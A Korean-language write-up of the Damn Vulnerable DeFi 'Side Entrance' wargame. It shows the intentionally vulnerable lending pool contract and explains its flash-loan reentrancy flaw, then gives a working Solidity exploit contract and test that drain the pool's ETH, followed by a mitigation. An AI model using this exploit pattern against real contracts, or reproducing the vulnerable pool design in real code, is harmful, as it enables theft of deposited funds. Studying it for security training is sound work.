Damn Vulnerable DeFi-Side Entrance

problem link

DeFi 취약점과 공격 방법을 익히기 위한 워게임 문제를 풀고 풀이를 정리했다. v3.0.0 문제를 대상으로 했다.

Summary

flashLoan 에서 재진입이 가능하여 ETH를 재예치, 출금할 수 있다.

Keyword

reentrancy, flash loan

Vulnerability

A surprisingly simple pool allows anyone to deposit ETH, and withdraw it at any point in time. It has 1000 ETH in balance already, and is offering free flash loans using the deposited ETH to promote their system. Starting with 1 ETH in balance, pass the challenge by taking all ETH from the pool.

Flash loan 기능을 제공하는 풀이 있다. 이 풀의 ETH를 전부 꺼내어 공격자의 계정에 가져와야 한다.

// SPDX-License-Identifier: MIT
 
pragma solidity ^0.8.0;
 
import "solady/src/utils/SafeTransferLib.sol";
 
interface IFlashLoanEtherReceiver {
    function execute() external payable;
}
 
/**
 * @title SideEntranceLenderPool
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract SideEntranceLenderPool {
    mapping(address => uint256) private balances;
 
    error RepayFailed();
 
    event Deposit(address indexed who, uint256 amount);
    event Withdraw(address indexed who, uint256 amount);
 
    // @audit-info 입금
    function deposit() external payable {
        // @audit 오버플로우 가능성? -> msg.value라 미미
        unchecked {
            balances[msg.sender] += msg.value;
        }
        emit Deposit(msg.sender, msg.value);
    }
    // @audit-info 자신의 예금을 인출
    function withdraw() external {
        uint256 amount = balances[msg.sender];
        // @audit-info 재진입 불가?
        delete balances[msg.sender];
        emit Withdraw(msg.sender, amount);
 
        SafeTransferLib.safeTransferETH(msg.sender, amount);
    }
 
    function flashLoan(uint256 amount) external {
        uint256 balanceBefore = address(this).balance;
        // @audit 재진입 가능
        IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();
 
        if (address(this).balance < balanceBefore)
            revert RepayFailed();
    }
}

flashLoan 함수에서 ETH를 빌려준다. msg.senderexecute 함수를 호출하며 대금을 전달한다. 이후 balance를 체크한다. balance를 그대로 두며 ETH의 소유권을 주장하려면 어떻게 해야할까? 이 때 deposit 기능을 이용할 수 있다. flash loan으로 빌린 ETH를 재진입을 통해 그대로 deposit 하면 공격자의 balance를 늘릴 수 있다. deposit 하면 다시 ETH가 pool에 들어가므로, balanceBefore와의 비교도 우회할 수 있다. flashLoan 호출이 끝난 후 withdraw 를 호출하면 자신의 예치금으로 잡힌 금액을빼낼 수 있다.

다음은 PoC이다.

import "./SideEntranceLenderPool.sol";
 
contract SideEntrancePoC {
    SideEntranceLenderPool pool;
    address payable player;
    constructor(SideEntranceLenderPool _pool) {
        player = payable(msg.sender);
        pool = _pool;
    }
 
    function exploit(uint256 _amount) public {
        pool.flashLoan(_amount); // deposit 하여 다시 pool에 입금됨
        pool.withdraw();
        player.transfer(_amount);
    }
 
    // 재진입 함수
    function execute() public payable {
        pool.deposit{value: address(this).balance}();
    }
    receive() external payable {}
}
it('Execution', async function () {
    /** CODE YOUR SOLUTION HERE */
    const SideEntrancePoCFactory = await ethers.getContractFactory('SideEntrancePoC', player);
    const poc = await SideEntrancePoCFactory.deploy(pool.address);
    await poc.connect(player).exploit(ETHER_IN_POOL);
});

Impact

풀에 예치된 ETH를 탈취할 수 있다.

Mitigation

deposit 함수에 재진입 가드를 넣는다.


tags: writeup, blockchain, solidity, smart contract, erc20, flashloan, crypto theft, reentrancy, defi